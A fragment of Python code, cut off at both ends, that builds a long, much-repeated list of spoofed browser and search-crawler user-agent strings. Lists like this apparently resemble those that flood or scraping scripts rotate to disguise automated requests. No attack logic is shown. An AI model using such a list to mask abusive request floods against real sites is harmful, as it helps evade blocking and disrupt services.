headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; 